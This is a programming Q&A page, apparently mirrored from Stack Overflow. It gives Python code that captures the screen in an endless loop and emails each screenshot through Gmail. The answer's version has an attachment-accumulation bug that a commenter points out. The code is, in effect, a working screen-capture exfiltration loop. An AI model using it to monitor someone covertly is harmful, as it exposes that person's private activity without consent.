【问题标题】:How receive Screenshoot in Png formate not in base64? pls Add that function to my code [duplicate]如何接收不是 base64 格式的 Png 格式的屏幕截图?请将该功能添加到我的代码中[重复]
【发布时间】:2020-05-23 07:10:39
【问题描述】:

我正在制作一个 python3 脚本,在特定时间间隔后将屏幕截图发送到我的邮件。但我收到的是 bsee64 格式的屏幕截图,而不是 png/jpg 格式。请将该功能添加到我的代码中

代码在这里

from _multiprocessing import send
from typing import BinaryIO

from PIL import ImageGrab
import base64, os, time

import smtplib

s = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
# [!]Remember! You need to enable 'Allow less secure apps' in your #google account
# Enter your gmail username and password
s.login("zainali90900666@gmail.com", "password")

# message to be sent
while True:
    snapshot = ImageGrab.grab()  # Take snap
    file = "scr.jpg"
    snapshot.save(file)


    f: BinaryIO = open('scr.jpg', 'rb')  # Open file in binary mode
    data = f.read()
    data = base64.b64encode(data)  # Convert binary to base 64
    f.close()
    os.remove(file)
    message = data  # data variable has the base64 string of screenshot

    # Sender email, recipient email
    s.sendmail("zainali90900666@gmail.com", "zainali90900666@gmail.com", message)
    time.sleep(some_time)

【问题讨论】:

    标签: python python-3.x python-requests


    【解决方案1】:

    您将图像作为 base64 编码文本接收,因为您在 message 参数中提供了数据,这是电子邮件正文应该去的地方。

    我重写了代码,这对你来说应该没有问题:)

    import smtplib
    from email.mime.multipart import MIMEMultipart
    from email.mime.image import MIMEImage
    import time
    import os
    from PIL import ImageGrab
    
    s = smtplib.SMTP('smtp.gmail.com', 587)
    s.starttls()
    s.login("zainali90900666@gmail.com", "password")
    
    msg = MIMEMultipart()
    msg['Subject'] = 'Test Email'
    msg['From'] = "zainali90900666@gmail.com"
    msg['To'] = "zainali90900666@gmail.com"
    
    while True:
        snapshot = ImageGrab.grab()
    
        # Using png because it cannot write mode RGBA as JPEG
        file = "scr.png"
        snapshot.save(file)
    
        # Opening the image file and then attaching it
        with open(file, 'rb') as f:
            img = MIMEImage(f.read())
            img.add_header('Content-Disposition', 'attachment', filename=file)
            msg.attach(img)
    
        os.remove(file)
    
        s.sendmail("zainali90900666@gmail.com", "zainali90900666@gmail.com", msg.as_string())
    
        # Change this value to your liking
        time.sleep(2)
    

    来源:https://medium.com/better-programming/how-to-send-an-email-with-attachments-in-python-abe3b957ecf3

    【讨论】:

    • 是的,谢谢。但它也发送带有先前附件的屏幕截图。意思是说 email1(screenshoot1) email2(screenshoot1,screenshoot2)
    猜你喜欢
    • 1970-01-01
    • 2018-05-31
    • 1970-01-01
    • 2019-01-23
    • 2015-03-11
    • 2017-03-06
    • 1970-01-01
    • 1970-01-01
    • 2018-02-18
    相关资源
    最近更新 更多